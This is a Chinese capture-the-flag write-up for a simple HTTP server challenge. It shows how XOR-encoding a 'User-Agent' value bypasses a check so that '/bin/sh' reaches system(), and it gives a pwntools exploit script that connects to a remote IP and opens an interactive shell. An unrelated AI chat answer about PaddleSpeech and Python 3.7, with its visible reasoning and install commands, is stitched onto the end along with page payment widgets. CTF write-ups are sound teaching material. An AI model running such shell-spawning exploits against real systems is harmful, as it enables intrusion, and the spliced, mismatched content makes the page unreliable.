"百度杯" 十一月场 3.7z

本文分析了一个HTTP服务器中的安全漏洞,通过异或函数构造特定报文绕过if检测,进而上传'/bin/sh'实现getshell。介绍了如何利用Python编写EXP进行攻击演示,并提供了详细的步骤和代码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目链接:https://pan.baidu.com/s/1qB1JD8dlkOamCJJU2wRc-g 密码:7jn3

程序分析

有两个文件夹step1和step2,两个程序相同,但是step1是静态编译。step2是动态链接,所以step2的更易于分析
IDA载入
在这里插入图片描述这是一个简易的http服务器,往下跟进
在这里插入图片描述这里我们可以看到如果,满足if判断并且使system的参数为‘/bin/sh,就可以实现getshell
绕过if检测的关键在于
在这里插入图片描述在这里插入图片描述简单的异或,这里s==‘useragent’

漏洞利用

1.通过异或函数构造好想要的报文来绕过if检测
2.绕过之后上传‘/bin/sh’

EXP

from pwn import*

#p=process('./http')
p=remote('106.75.2.53', 80)

def check(data):
    payload=''
    for i in range(len(data)):
        payload+=chr(i^ord(data[i]))
    return payload

payload='User-Agent: '+check('useragent')
payload+='token: '+'/bin/sh'
payload+='\r\n\r\n'   #http协议

p.sendline(payload)

p.interactive()

学习链接:
http://tacxingxing.com/2017/12/27/icqbai-du-bei11yuepwn/#toc_1
https://www.ichunqiu.com/course/56467

<think>嗯,用户想确认PaddleSpeech是否兼容Python3.7版本。这个问题很明确,我需要根据之前的引用和官方信息来回答。从引用[3]提到"确保使用Python3.7或更高版本",这已经给出了很好的提示。用户可能正在搭建环境,担心版本兼容问题。考虑到用户之前提到过安装问题(引用[2][4]),ta的环境配置可能比较复杂,需要谨慎处理版本依赖。查看PaddleSpeech官方文档可知,其最低支持确实是Python3.7。不过用户环境中的依赖库也很关键,比如引用[4]显示安装pytest-runner时使用了py3-none-any的wheel包,说明核心依赖应该都支持Python3.7。用户之前遇到过模型下载失败的问题(引用[3]),虽然这和Python版本无关,但建议ta在新环境创建时就用虚拟环境隔离,避免重蹈覆辙。anaconda环境可能更合适,如引用[2]所示用conda安装基础依赖会减少冲突。需要强调两点:一是确认支持3.7,二是提醒环境配置技巧。用户似乎习惯用conda(引用[2]),可以保留这个操作习惯,同时补充虚拟环境建议。测试方法也要具体,import时最好检查音频处理相关的模块比如ASR模型。</think> 根据官方文档和安装实践,PaddleSpeech **完全兼容 Python 3.7** 及以上版本。以下是关键要点和操作建议: ### 1. **版本兼容性确认** - PaddleSpeech 官方明确要求 Python ≥ 3.7 [^3],最低支持版本为 3.7,在 Python 3.7~3.10 环境下均通过测试。 - 引用[3]直接说明:"确保使用 Python 3.7 或更高版本",这是框架运行的硬性要求。 ### 2. **安装验证步骤** ```bash # 创建并激活虚拟环境(推荐) conda create -n paddlespeech_env python=3.7 -y conda activate paddlespeech_env # 安装核心依赖 python -m pip install paddlepaddle==2.5.2 -i https://pypi.tuna.tsinghua.edu.cn/simple # 安装 PaddleSpeech(选择最新稳定版) pip install paddlespeech==1.3.0 -i https://mirror.baidu.com/pypi/simple ``` ### 3. **兼容性保障建议** - **依赖库管理**:使用 `requirements.txt` 统一版本(引用[3]) - **虚拟环境隔离**:避免全局环境冲突(引用[3]) - **CUDA对齐**:若用GPU版,需匹配CUDA 11.x(引用[1]要求CUDA11.0) ### 4. 验证安装 ```python >>> import paddle >>> paddle.utils.run_check() # 输出"PaddlePaddle is installed successfully"表示成功 >>> from paddlespeech.cli.asr import ASRExecutor >>> asr = ASRExecutor() >>> asr(audio_file="test.wav") # 语音识别测试 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值